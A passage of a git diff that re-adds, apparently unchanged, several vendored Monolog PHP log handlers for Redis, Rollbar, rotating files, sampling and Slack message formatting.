Monolog\Handler; - -use Monolog\Formatter\LineFormatter; -use Monolog\Logger; - -/** - * Logs to a Redis key using rpush - * - * usage example: - * - * $log = new Logger('application'); - * $redis = new RedisHandler(new Predis\Client("tcp://localhost:6379"), "logs", "prod"); - * $log->pushHandler($redis); - * - * @author Thomas Tourlourat - */ -class RedisHandler extends AbstractProcessingHandler -{ - private $redisClient; - private $redisKey; - protected $capSize; - - /** - * @param \Predis\Client|\Redis $redis The redis instance - * @param string $key The key name to push records to - * @param int $level The minimum logging level at which this handler will be triggered - * @param bool $bubble Whether the messages that are handled can bubble up the stack or not - * @param int|false $capSize Number of entries to limit list size to - */ - public function __construct($redis, $key, $level = Logger::DEBUG, $bubble = true, $capSize = false) - { - if (!(($redis instanceof \Predis\Client) || ($redis instanceof \Redis))) { - throw new \InvalidArgumentException('Predis\Client or Redis instance required'); - } - - $this->redisClient = $redis; - $this->redisKey = $key; - $this->capSize = $capSize; - - parent::__construct($level, $bubble); - } - - /** - * {@inheritDoc} - */ - protected function write(array $record) - { - if ($this->capSize) { - $this->writeCapped($record); - } else { - $this->redisClient->rpush($this->redisKey, $record["formatted"]); - } - } - - /** - * Write and cap the collection - * Writes the record to the redis list and caps its - * - * @param array $record associative record array - * @return void - */ - protected function writeCapped(array $record) - { - if ($this->redisClient instanceof \Redis) { - $mode = defined('\Redis::MULTI') ? \Redis::MULTI : 1; - $this->redisClient->multi($mode) - ->rpush($this->redisKey, $record["formatted"]) - ->ltrim($this->redisKey, -$this->capSize, -1) - ->exec(); - } else { - $redisKey = $this->redisKey; - $capSize = $this->capSize; - $this->redisClient->transaction(function ($tx) use ($record, $redisKey, $capSize) { - $tx->rpush($redisKey, $record["formatted"]); - $tx->ltrim($redisKey, -$capSize, -1); - }); - } - } - - /** - * {@inheritDoc} - */ - protected function getDefaultFormatter() - { - return new LineFormatter(); - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Formatter\LineFormatter; +use Monolog\Logger; + +/** + * Logs to a Redis key using rpush + * + * usage example: + * + * $log = new Logger('application'); + * $redis = new RedisHandler(new Predis\Client("tcp://localhost:6379"), "logs", "prod"); + * $log->pushHandler($redis); + * + * @author Thomas Tourlourat + */ +class RedisHandler extends AbstractProcessingHandler +{ + private $redisClient; + private $redisKey; + protected $capSize; + + /** + * @param \Predis\Client|\Redis $redis The redis instance + * @param string $key The key name to push records to + * @param int $level The minimum logging level at which this handler will be triggered + * @param bool $bubble Whether the messages that are handled can bubble up the stack or not + * @param int|false $capSize Number of entries to limit list size to + */ + public function __construct($redis, $key, $level = Logger::DEBUG, $bubble = true, $capSize = false) + { + if (!(($redis instanceof \Predis\Client) || ($redis instanceof \Redis))) { + throw new \InvalidArgumentException('Predis\Client or Redis instance required'); + } + + $this->redisClient = $redis; + $this->redisKey = $key; + $this->capSize = $capSize; + + parent::__construct($level, $bubble); + } + + /** + * {@inheritDoc} + */ + protected function write(array $record) + { + if ($this->capSize) { + $this->writeCapped($record); + } else { + $this->redisClient->rpush($this->redisKey, $record["formatted"]); + } + } + + /** + * Write and cap the collection + * Writes the record to the redis list and caps its + * + * @param array $record associative record array + * @return void + */ + protected function writeCapped(array $record) + { + if ($this->redisClient instanceof \Redis) { + $mode = defined('\Redis::MULTI') ? \Redis::MULTI : 1; + $this->redisClient->multi($mode) + ->rpush($this->redisKey, $record["formatted"]) + ->ltrim($this->redisKey, -$this->capSize, -1) + ->exec(); + } else { + $redisKey = $this->redisKey; + $capSize = $this->capSize; + $this->redisClient->transaction(function ($tx) use ($record, $redisKey, $capSize) { + $tx->rpush($redisKey, $record["formatted"]); + $tx->ltrim($redisKey, -$capSize, -1); + }); + } + } + + /** + * {@inheritDoc} + */ + protected function getDefaultFormatter() + { + return new LineFormatter(); + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/RollbarHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/RollbarHandler.php index 20e9508006..65073ffe39 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/RollbarHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/RollbarHandler.php @@ -1,144 +1,144 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use RollbarNotifier; -use Exception; -use Monolog\Logger; - -/** - * Sends errors to Rollbar - * - * If the context data contains a `payload` key, that is used as an array - * of payload options to RollbarNotifier's report_message/report_exception methods. - * - * Rollbar's context info will contain the context + extra keys from the log record - * merged, and then on top of that a few keys: - * - * - level (rollbar level name) - * - monolog_level (monolog level name, raw level, as rollbar only has 5 but monolog 8) - * - channel - * - datetime (unix timestamp) - * - * @author Paul Statezny - */ -class RollbarHandler extends AbstractProcessingHandler -{ - /** - * Rollbar notifier - * - * @var RollbarNotifier - */ - protected $rollbarNotifier; - - protected $levelMap = array( - Logger::DEBUG => 'debug', - Logger::INFO => 'info', - Logger::NOTICE => 'info', - Logger::WARNING => 'warning', - Logger::ERROR => 'error', - Logger::CRITICAL => 'critical', - Logger::ALERT => 'critical', - Logger::EMERGENCY => 'critical', - ); - - /** - * Records whether any log records have been added since the last flush of the rollbar notifier - * - * @var bool - */ - private $hasRecords = false; - - protected $initialized = false; - - /** - * @param RollbarNotifier $rollbarNotifier RollbarNotifier object constructed with valid token - * @param int $level The minimum logging level at which this handler will be triggered - * @param bool $bubble Whether the messages that are handled can bubble up the stack or not - */ - public function __construct(RollbarNotifier $rollbarNotifier, $level = Logger::ERROR, $bubble = true) - { - $this->rollbarNotifier = $rollbarNotifier; - - parent::__construct($level, $bubble); - } - - /** - * {@inheritdoc} - */ - protected function write(array $record) - { - if (!$this->initialized) { - // __destructor() doesn't get called on Fatal errors - register_shutdown_function(array($this, 'close')); - $this->initialized = true; - } - - $context = $record['context']; - $payload = array(); - if (isset($context['payload'])) { - $payload = $context['payload']; - unset($context['payload']); - } - $context = array_merge($context, $record['extra'], array( - 'level' => $this->levelMap[$record['level']], - 'monolog_level' => $record['level_name'], - 'channel' => $record['channel'], - 'datetime' => $record['datetime']->format('U'), - )); - - if (isset($context['exception']) && $context['exception'] instanceof Exception) { - $payload['level'] = $context['level']; - $exception = $context['exception']; - unset($context['exception']); - - $this->rollbarNotifier->report_exception($exception, $context, $payload); - } else { - $this->rollbarNotifier->report_message( - $record['message'], - $context['level'], - $context, - $payload - ); - } - - $this->hasRecords = true; - } - - public function flush() - { - if ($this->hasRecords) { - $this->rollbarNotifier->flush(); - $this->hasRecords = false; - } - } - - /** - * {@inheritdoc} - */ - public function close() - { - $this->flush(); - } - - /** - * {@inheritdoc} - */ - public function reset() - { - $this->flush(); - - parent::reset(); - } - - -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use RollbarNotifier; +use Exception; +use Monolog\Logger; + +/** + * Sends errors to Rollbar + * + * If the context data contains a `payload` key, that is used as an array + * of payload options to RollbarNotifier's report_message/report_exception methods. + * + * Rollbar's context info will contain the context + extra keys from the log record + * merged, and then on top of that a few keys: + * + * - level (rollbar level name) + * - monolog_level (monolog level name, raw level, as rollbar only has 5 but monolog 8) + * - channel + * - datetime (unix timestamp) + * + * @author Paul Statezny + */ +class RollbarHandler extends AbstractProcessingHandler +{ + /** + * Rollbar notifier + * + * @var RollbarNotifier + */ + protected $rollbarNotifier; + + protected $levelMap = array( + Logger::DEBUG => 'debug', + Logger::INFO => 'info', + Logger::NOTICE => 'info', + Logger::WARNING => 'warning', + Logger::ERROR => 'error', + Logger::CRITICAL => 'critical', + Logger::ALERT => 'critical', + Logger::EMERGENCY => 'critical', + ); + + /** + * Records whether any log records have been added since the last flush of the rollbar notifier + * + * @var bool + */ + private $hasRecords = false; + + protected $initialized = false; + + /** + * @param RollbarNotifier $rollbarNotifier RollbarNotifier object constructed with valid token + * @param int $level The minimum logging level at which this handler will be triggered + * @param bool $bubble Whether the messages that are handled can bubble up the stack or not + */ + public function __construct(RollbarNotifier $rollbarNotifier, $level = Logger::ERROR, $bubble = true) + { + $this->rollbarNotifier = $rollbarNotifier; + + parent::__construct($level, $bubble); + } + + /** + * {@inheritdoc} + */ + protected function write(array $record) + { + if (!$this->initialized) { + // __destructor() doesn't get called on Fatal errors + register_shutdown_function(array($this, 'close')); + $this->initialized = true; + } + + $context = $record['context']; + $payload = array(); + if (isset($context['payload'])) { + $payload = $context['payload']; + unset($context['payload']); + } + $context = array_merge($context, $record['extra'], array( + 'level' => $this->levelMap[$record['level']], + 'monolog_level' => $record['level_name'], + 'channel' => $record['channel'], + 'datetime' => $record['datetime']->format('U'), + )); + + if (isset($context['exception']) && $context['exception'] instanceof Exception) { + $payload['level'] = $context['level']; + $exception = $context['exception']; + unset($context['exception']); + + $this->rollbarNotifier->report_exception($exception, $context, $payload); + } else { + $this->rollbarNotifier->report_message( + $record['message'], + $context['level'], + $context, + $payload + ); + } + + $this->hasRecords = true; + } + + public function flush() + { + if ($this->hasRecords) { + $this->rollbarNotifier->flush(); + $this->hasRecords = false; + } + } + + /** + * {@inheritdoc} + */ + public function close() + { + $this->flush(); + } + + /** + * {@inheritdoc} + */ + public function reset() + { + $this->flush(); + + parent::reset(); + } + + +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/RotatingFileHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/RotatingFileHandler.php index ba5216816d..b8253ba0ff 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/RotatingFileHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/RotatingFileHandler.php @@ -1,191 +1,191 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Logger; -use Monolog\Utils; - -/** - * Stores logs to files that are rotated every day and a limited number of files are kept. - * - * This rotation is only intended to be used as a workaround. Using logrotate to - * handle the rotation is strongly encouraged when you can use it. - * - * @author Christophe Coevoet - * @author Jordi Boggiano - */ -class RotatingFileHandler extends StreamHandler -{ - const FILE_PER_DAY = 'Y-m-d'; - const FILE_PER_MONTH = 'Y-m'; - const FILE_PER_YEAR = 'Y'; - - protected $filename; - protected $maxFiles; - protected $mustRotate; - protected $nextRotation; - protected $filenameFormat; - protected $dateFormat; - - /** - * @param string $filename - * @param int $maxFiles The maximal amount of files to keep (0 means unlimited) - * @param int $level The minimum logging level at which this handler will be triggered - * @param bool $bubble Whether the messages that are handled can bubble up the stack or not - * @param int|null $filePermission Optional file permissions (default (0644) are only for owner read/write) - * @param bool $useLocking Try to lock log file before doing any writes - */ - public function __construct($filename, $maxFiles = 0, $level = Logger::DEBUG, $bubble = true, $filePermission = null, $useLocking = false) - { - $this->filename = Utils::canonicalizePath($filename); - $this->maxFiles = (int) $maxFiles; - $this->nextRotation = new \DateTime('tomorrow'); - $this->filenameFormat = '{filename}-{date}'; - $this->dateFormat = 'Y-m-d'; - - parent::__construct($this->getTimedFilename(), $level, $bubble, $filePermission, $useLocking); - } - - /** - * {@inheritdoc} - */ - public function close() - { - parent::close(); - - if (true === $this->mustRotate) { - $this->rotate(); - } - } - - /** - * {@inheritdoc} - */ - public function reset() - { - parent::reset(); - - if (true === $this->mustRotate) { - $this->rotate(); - } - } - - public function setFilenameFormat($filenameFormat, $dateFormat) - { - if (!preg_match('{^Y(([/_.-]?m)([/_.-]?d)?)?$}', $dateFormat)) { - trigger_error( - 'Invalid date format - format must be one of '. - 'RotatingFileHandler::FILE_PER_DAY ("Y-m-d"), RotatingFileHandler::FILE_PER_MONTH ("Y-m") '. - 'or RotatingFileHandler::FILE_PER_YEAR ("Y"), or you can set one of the '. - 'date formats using slashes, underscores and/or dots instead of dashes.', - E_USER_DEPRECATED - ); - } - if (substr_count($filenameFormat, '{date}') === 0) { - trigger_error( - 'Invalid filename format - format should contain at least `{date}`, because otherwise rotating is impossible.', - E_USER_DEPRECATED - ); - } - $this->filenameFormat = $filenameFormat; - $this->dateFormat = $dateFormat; - $this->url = $this->getTimedFilename(); - $this->close(); - } - - /** - * {@inheritdoc} - */ - protected function write(array $record) - { - // on the first record written, if the log is new, we should rotate (once per day) - if (null === $this->mustRotate) { - $this->mustRotate = !file_exists($this->url); - } - - if ($this->nextRotation < $record['datetime']) { - $this->mustRotate = true; - $this->close(); - } - - parent::write($record); - } - - /** - * Rotates the files. - */ - protected function rotate() - { - // update filename - $this->url = $this->getTimedFilename(); - $this->nextRotation = new \DateTime('tomorrow'); - - // skip GC of old logs if files are unlimited - if (0 === $this->maxFiles) { - return; - } - - $logFiles = glob($this->getGlobPattern()); - if ($this->maxFiles >= count($logFiles)) { - // no files to remove - return; - } - - // Sorting the files by name to remove the older ones - usort($logFiles, function ($a, $b) { - return strcmp($b, $a); - }); - - foreach (array_slice($logFiles, $this->maxFiles) as $file) { - if (is_writable($file)) { - // suppress errors here as unlink() might fail if two processes - // are cleaning up/rotating at the same time - set_error_handler(function ($errno, $errstr, $errfile, $errline) {}); - unlink($file); - restore_error_handler(); - } - } - - $this->mustRotate = false; - } - - protected function getTimedFilename() - { - $fileInfo = pathinfo($this->filename); - $timedFilename = str_replace( - array('{filename}', '{date}'), - array($fileInfo['filename'], date($this->dateFormat)), - $fileInfo['dirname'] . '/' . $this->filenameFormat - ); - - if (!empty($fileInfo['extension'])) { - $timedFilename .= '.'.$fileInfo['extension']; - } - - return $timedFilename; - } - - protected function getGlobPattern() - { - $fileInfo = pathinfo($this->filename); - $glob = str_replace( - array('{filename}', '{date}'), - array($fileInfo['filename'], '[0-9][0-9][0-9][0-9]*'), - $fileInfo['dirname'] . '/' . $this->filenameFormat - ); - if (!empty($fileInfo['extension'])) { - $glob .= '.'.$fileInfo['extension']; - } - - return $glob; - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Logger; +use Monolog\Utils; + +/** + * Stores logs to files that are rotated every day and a limited number of files are kept. + * + * This rotation is only intended to be used as a workaround. Using logrotate to + * handle the rotation is strongly encouraged when you can use it. + * + * @author Christophe Coevoet + * @author Jordi Boggiano + */ +class RotatingFileHandler extends StreamHandler +{ + const FILE_PER_DAY = 'Y-m-d'; + const FILE_PER_MONTH = 'Y-m'; + const FILE_PER_YEAR = 'Y'; + + protected $filename; + protected $maxFiles; + protected $mustRotate; + protected $nextRotation; + protected $filenameFormat; + protected $dateFormat; + + /** + * @param string $filename + * @param int $maxFiles The maximal amount of files to keep (0 means unlimited) + * @param int $level The minimum logging level at which this handler will be triggered + * @param bool $bubble Whether the messages that are handled can bubble up the stack or not + * @param int|null $filePermission Optional file permissions (default (0644) are only for owner read/write) + * @param bool $useLocking Try to lock log file before doing any writes + */ + public function __construct($filename, $maxFiles = 0, $level = Logger::DEBUG, $bubble = true, $filePermission = null, $useLocking = false) + { + $this->filename = Utils::canonicalizePath($filename); + $this->maxFiles = (int) $maxFiles; + $this->nextRotation = new \DateTime('tomorrow'); + $this->filenameFormat = '{filename}-{date}'; + $this->dateFormat = 'Y-m-d'; + + parent::__construct($this->getTimedFilename(), $level, $bubble, $filePermission, $useLocking); + } + + /** + * {@inheritdoc} + */ + public function close() + { + parent::close(); + + if (true === $this->mustRotate) { + $this->rotate(); + } + } + + /** + * {@inheritdoc} + */ + public function reset() + { + parent::reset(); + + if (true === $this->mustRotate) { + $this->rotate(); + } + } + + public function setFilenameFormat($filenameFormat, $dateFormat) + { + if (!preg_match('{^Y(([/_.-]?m)([/_.-]?d)?)?$}', $dateFormat)) { + trigger_error( + 'Invalid date format - format must be one of '. + 'RotatingFileHandler::FILE_PER_DAY ("Y-m-d"), RotatingFileHandler::FILE_PER_MONTH ("Y-m") '. + 'or RotatingFileHandler::FILE_PER_YEAR ("Y"), or you can set one of the '. + 'date formats using slashes, underscores and/or dots instead of dashes.', + E_USER_DEPRECATED + ); + } + if (substr_count($filenameFormat, '{date}') === 0) { + trigger_error( + 'Invalid filename format - format should contain at least `{date}`, because otherwise rotating is impossible.', + E_USER_DEPRECATED + ); + } + $this->filenameFormat = $filenameFormat; + $this->dateFormat = $dateFormat; + $this->url = $this->getTimedFilename(); + $this->close(); + } + + /** + * {@inheritdoc} + */ + protected function write(array $record) + { + // on the first record written, if the log is new, we should rotate (once per day) + if (null === $this->mustRotate) { + $this->mustRotate = !file_exists($this->url); + } + + if ($this->nextRotation < $record['datetime']) { + $this->mustRotate = true; + $this->close(); + } + + parent::write($record); + } + + /** + * Rotates the files. + */ + protected function rotate() + { + // update filename + $this->url = $this->getTimedFilename(); + $this->nextRotation = new \DateTime('tomorrow'); + + // skip GC of old logs if files are unlimited + if (0 === $this->maxFiles) { + return; + } + + $logFiles = glob($this->getGlobPattern()); + if ($this->maxFiles >= count($logFiles)) { + // no files to remove + return; + } + + // Sorting the files by name to remove the older ones + usort($logFiles, function ($a, $b) { + return strcmp($b, $a); + }); + + foreach (array_slice($logFiles, $this->maxFiles) as $file) { + if (is_writable($file)) { + // suppress errors here as unlink() might fail if two processes + // are cleaning up/rotating at the same time + set_error_handler(function ($errno, $errstr, $errfile, $errline) {}); + unlink($file); + restore_error_handler(); + } + } + + $this->mustRotate = false; + } + + protected function getTimedFilename() + { + $fileInfo = pathinfo($this->filename); + $timedFilename = str_replace( + array('{filename}', '{date}'), + array($fileInfo['filename'], date($this->dateFormat)), + $fileInfo['dirname'] . '/' . $this->filenameFormat + ); + + if (!empty($fileInfo['extension'])) { + $timedFilename .= '.'.$fileInfo['extension']; + } + + return $timedFilename; + } + + protected function getGlobPattern() + { + $fileInfo = pathinfo($this->filename); + $glob = str_replace( + array('{filename}', '{date}'), + array($fileInfo['filename'], '[0-9][0-9][0-9][0-9]*'), + $fileInfo['dirname'] . '/' . $this->filenameFormat + ); + if (!empty($fileInfo['extension'])) { + $glob .= '.'.$fileInfo['extension']; + } + + return $glob; + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/SamplingHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/SamplingHandler.php index 505d679abc..b547ed7dad 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/SamplingHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/SamplingHandler.php @@ -1,113 +1,113 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Formatter\FormatterInterface; - -/** - * Sampling handler - * - * A sampled event stream can be useful for logging high frequency events in - * a production environment where you only need an idea of what is happening - * and are not concerned with capturing every occurrence. Since the decision to - * handle or not handle a particular event is determined randomly, the - * resulting sampled log is not guaranteed to contain 1/N of the events that - * occurred in the application, but based on the Law of large numbers, it will - * tend to be close to this ratio with a large number of attempts. - * - * @author Bryan Davis - * @author Kunal Mehta - */ -class SamplingHandler extends AbstractHandler -{ - /** - * @var callable|HandlerInterface $handler - */ - protected $handler; - - /** - * @var int $factor - */ - protected $factor; - - /** - * @param callable|HandlerInterface $handler Handler or factory callable($record|null, $samplingHandler). - * @param int $factor Sample factor - */ - public function __construct($handler, $factor) - { - parent::__construct(); - $this->handler = $handler; - $this->factor = $factor; - - if (!$this->handler instanceof HandlerInterface && !is_callable($this->handler)) { - throw new \RuntimeException("The given handler (".json_encode($this->handler).") is not a callable nor a Monolog\Handler\HandlerInterface object"); - } - } - - public function isHandling(array $record) - { - return $this->getHandler($record)->isHandling($record); - } - - public function handle(array $record) - { - if ($this->isHandling($record) && mt_rand(1, $this->factor) === 1) { - if ($this->processors) { - foreach ($this->processors as $processor) { - $record = call_user_func($processor, $record); - } - } - - $this->getHandler($record)->handle($record); - } - - return false === $this->bubble; - } - - /** - * Return the nested handler - * - * If the handler was provided as a factory callable, this will trigger the handler's instantiation. - * - * @return HandlerInterface - */ - public function getHandler(array $record = null) - { - if (!$this->handler instanceof HandlerInterface) { - $this->handler = call_user_func($this->handler, $record, $this); - if (!$this->handler instanceof HandlerInterface) { - throw new \RuntimeException("The factory callable should return a HandlerInterface"); - } - } - - return $this->handler; - } - - /** - * {@inheritdoc} - */ - public function setFormatter(FormatterInterface $formatter) - { - $this->getHandler()->setFormatter($formatter); - - return $this; - } - - /** - * {@inheritdoc} - */ - public function getFormatter() - { - return $this->getHandler()->getFormatter(); - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Formatter\FormatterInterface; + +/** + * Sampling handler + * + * A sampled event stream can be useful for logging high frequency events in + * a production environment where you only need an idea of what is happening + * and are not concerned with capturing every occurrence. Since the decision to + * handle or not handle a particular event is determined randomly, the + * resulting sampled log is not guaranteed to contain 1/N of the events that + * occurred in the application, but based on the Law of large numbers, it will + * tend to be close to this ratio with a large number of attempts. + * + * @author Bryan Davis + * @author Kunal Mehta + */ +class SamplingHandler extends AbstractHandler +{ + /** + * @var callable|HandlerInterface $handler + */ + protected $handler; + + /** + * @var int $factor + */ + protected $factor; + + /** + * @param callable|HandlerInterface $handler Handler or factory callable($record|null, $samplingHandler). + * @param int $factor Sample factor + */ + public function __construct($handler, $factor) + { + parent::__construct(); + $this->handler = $handler; + $this->factor = $factor; + + if (!$this->handler instanceof HandlerInterface && !is_callable($this->handler)) { + throw new \RuntimeException("The given handler (".json_encode($this->handler).") is not a callable nor a Monolog\Handler\HandlerInterface object"); + } + } + + public function isHandling(array $record) + { + return $this->getHandler($record)->isHandling($record); + } + + public function handle(array $record) + { + if ($this->isHandling($record) && mt_rand(1, $this->factor) === 1) { + if ($this->processors) { + foreach ($this->processors as $processor) { + $record = call_user_func($processor, $record); + } + } + + $this->getHandler($record)->handle($record); + } + + return false === $this->bubble; + } + + /** + * Return the nested handler + * + * If the handler was provided as a factory callable, this will trigger the handler's instantiation. + * + * @return HandlerInterface + */ + public function getHandler(array $record = null) + { + if (!$this->handler instanceof HandlerInterface) { + $this->handler = call_user_func($this->handler, $record, $this); + if (!$this->handler instanceof HandlerInterface) { + throw new \RuntimeException("The factory callable should return a HandlerInterface"); + } + } + + return $this->handler; + } + + /** + * {@inheritdoc} + */ + public function setFormatter(FormatterInterface $formatter) + { + $this->getHandler()->setFormatter($formatter); + + return $this; + } + + /** + * {@inheritdoc} + */ + public function getFormatter() + { + return $this->getHandler()->getFormatter(); + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/Slack/SlackRecord.php b/vendor/monolog/monolog/src/Monolog/Handler/Slack/SlackRecord.php index a1808fabe0..39455501f8 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/Slack/SlackRecord.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/Slack/SlackRecord.php @@ -1,299 +1,299 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler\Slack; - -use Monolog\Logger; -use Monolog\Utils; -use Monolog\Formatter\NormalizerFormatter; -use Monolog\Formatter\FormatterInterface; - -/** - * Slack record utility helping to log to Slack webhooks or API. - * - * @author Greg Kedzierski - * @author Haralan Dobrev - * @see https://api.slack.com/incoming-webhooks - * @see https://api.slack.com/docs/message-attachments - */ -class SlackRecord -{ - const COLOR_DANGER = 'danger'; - - const COLOR_WARNING = 'warning'; - - const COLOR_GOOD = 'good'; - - const COLOR_DEFAULT = '#e3e4e6'; - - /** - * Slack channel (encoded ID or name) - * @var string|null - */ - private $channel; - - /** - * Name of a bot - * @var string|null - */ - private $username; - - /** - * User icon e.g. 'ghost', 'http://example.com/user.png' - * @var string - */ - private $userIcon; - - /** - * Whether the message should be added to Slack as attachment (plain text otherwise) - * @var bool - */ - private $useAttachment; - - /** - * Whether the the context/extra messages added to Slack as attachments are in a short style - * @var bool - */ - private $useShortAttachment; - - /** - * Whether the attachment should include context and extra data - * @var bool - */ - private $includeContextAndExtra; - - /** - * Dot separated list of fields to exclude from slack message. E.g. ['context.field1', 'extra.field2'] - * @var array - */ - private $excludeFields; - - /** - * @var FormatterInterface - */ - private $formatter; - - /** - * @var NormalizerFormatter - */ - private $normalizerFormatter; - - public function __construct($channel = null, $username = null, $useAttachment = true, $userIcon = null, $useShortAttachment = false, $includeContextAndExtra = false, array $excludeFields = array(), FormatterInterface $formatter = null) - { - $this->channel = $channel; - $this->username = $username; - $this->userIcon = trim($userIcon, ':'); - $this->useAttachment = $useAttachment; - $this->useShortAttachment = $useShortAttachment; - $this->includeContextAndExtra = $includeContextAndExtra; - $this->excludeFields = $excludeFields; - $this->formatter = $formatter; - - if ($this->includeContextAndExtra) { - $this->normalizerFormatter = new NormalizerFormatter(); - } - } - - public function getSlackData(array $record) - { - $dataArray = array(); - $record = $this->excludeFields($record); - - if ($this->username) { - $dataArray['username'] = $this->username; - } - - if ($this->channel) { - $dataArray['channel'] = $this->channel; - } - - if ($this->formatter && !$this->useAttachment) { - $message = $this->formatter->format($record); - } else { - $message = $record['message']; - } - - if ($this->useAttachment) { - $attachment = array( - 'fallback' => $message, - 'text' => $message, - 'color' => $this->getAttachmentColor($record['level']), - 'fields' => array(), - 'mrkdwn_in' => array('fields'), - 'ts' => $record['datetime']->getTimestamp() - ); - - if ($this->useShortAttachment) { - $attachment['title'] = $record['level_name']; - } else { - $attachment['title'] = 'Message'; - $attachment['fields'][] = $this->generateAttachmentField('Level', $record['level_name']); - } - - - if ($this->includeContextAndExtra) { - foreach (array('extra', 'context') as $key) { - if (empty($record[$key])) { - continue; - } - - if ($this->useShortAttachment) { - $attachment['fields'][] = $this->generateAttachmentField( - $key, - $record[$key] - ); - } else { - // Add all extra fields as individual fields in attachment - $attachment['fields'] = array_merge( - $attachment['fields'], - $this->generateAttachmentFields($record[$key]) - ); - } - } - } - - $dataArray['attachments'] = array($attachment); - } else { - $dataArray['text'] = $message; - } - - if ($this->userIcon) { - if (filter_var($this->userIcon, FILTER_VALIDATE_URL)) { - $dataArray['icon_url'] = $this->userIcon; - } else { - $dataArray['icon_emoji'] = ":{$this->userIcon}:"; - } - } - - return $dataArray; - } - - /** - * Returned a Slack message attachment color associated with - * provided level. - * - * @param int $level - * @return string - */ - public function getAttachmentColor($level) - { - switch (true) { - case $level >= Logger::ERROR: - return self::COLOR_DANGER; - case $level >= Logger::WARNING: - return self::COLOR_WARNING; - case $level >= Logger::INFO: - return self::COLOR_GOOD; - default: - return self::COLOR_DEFAULT; - } - } - - /** - * Stringifies an array of key/value pairs to be used in attachment fields - * - * @param array $fields - * - * @return string - */ - public function stringify($fields) - { - $normalized = $this->normalizerFormatter->format($fields); - $prettyPrintFlag = defined('JSON_PRETTY_PRINT') ? JSON_PRETTY_PRINT : 128; - $flags = 0; - if (PHP_VERSION_ID >= 50400) { - $flags = JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE; - } - - $hasSecondDimension = count(array_filter($normalized, 'is_array')); - $hasNonNumericKeys = !count(array_filter(array_keys($normalized), 'is_numeric')); - - return $hasSecondDimension || $hasNonNumericKeys - ? Utils::jsonEncode($normalized, $prettyPrintFlag | $flags) - : Utils::jsonEncode($normalized, $flags); - } - - /** - * Sets the formatter - * - * @param FormatterInterface $formatter - */ - public function setFormatter(FormatterInterface $formatter) - { - $this->formatter = $formatter; - } - - /** - * Generates attachment field - * - * @param string $title - * @param string|array $value - * - * @return array - */ - private function generateAttachmentField($title, $value) - { - $value = is_array($value) - ? sprintf('```%s```', $this->stringify($value)) - : $value; - - return array( - 'title' => ucfirst($title), - 'value' => $value, - 'short' => false - ); - } - - /** - * Generates a collection of attachment fields from array - * - * @param array $data - * - * @return array - */ - private function generateAttachmentFields(array $data) - { - $fields = array(); - foreach ($this->normalizerFormatter->format($data) as $key => $value) { - $fields[] = $this->generateAttachmentField($key, $value); - } - - return $fields; - } - - /** - * Get a copy of record with fields excluded according to $this->excludeFields - * - * @param array $record - * - * @return array - */ - private function excludeFields(array $record) - { - foreach ($this->excludeFields as $field) { - $keys = explode('.', $field); - $node = &$record; - $lastKey = end($keys); - foreach ($keys as $key) { - if (!isset($node[$key])) { - break; - } - if ($lastKey === $key) { - unset($node[$key]); - break; - } - $node = &$node[$key]; - } - } - - return $record; - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler\Slack; + +use Monolog\Logger; +use Monolog\Utils; +use Monolog\Formatter\NormalizerFormatter; +use Monolog\Formatter\FormatterInterface; + +/** + * Slack record utility helping to log to Slack webhooks or API. + * + * @author Greg Kedzierski + * @author Haralan Dobrev + * @see https://api.slack.com/incoming-webhooks + * @see https://api.slack.com/docs/message-attachments + */ +class SlackRecord +{ + const COLOR_DANGER = 'danger'; + + const COLOR_WARNING = 'warning'; + + const COLOR_GOOD = 'good'; + + const COLOR_DEFAULT = '#e3e4e6'; + + /** + * Slack channel (encoded ID or name) + * @var string|null + */ + private $channel; + + /** + * Name of a bot + * @var string|null + */ + private $username; + + /** + * User icon e.g. 'ghost', 'http://example.com/user.png' + * @var string + */ + private $userIcon; + + /** + * Whether the message should be added to Slack as attachment (plain text otherwise) + * @var bool + */ + private $useAttachment; + + /** + * Whether the the context/extra messages added to Slack as attachments are in a short style + * @var bool + */ + private $useShortAttachment; + + /** + * Whether the attachment should include context and extra data + * @var bool + */ + private $includeContextAndExtra; + + /** + * Dot separated list of fields to exclude from slack message. E.g. ['context.field1', 'extra.field2'] + * @var array + */ + private $excludeFields; + + /** + * @var FormatterInterface + */ + private $formatter; + + /** + * @var NormalizerFormatter + */ + private $normalizerFormatter; + + public function __construct($channel = null, $username = null, $useAttachment = true, $userIcon = null, $useShortAttachment = false, $includeContextAndExtra = false, array $excludeFields = array(), FormatterInterface $formatter = null) + { + $this->channel = $channel; + $this->username = $username; + $this->userIcon = trim($userIcon, ':'); + $this->useAttachment = $useAttachment; + $this->useShortAttachment = $useShortAttachment; + 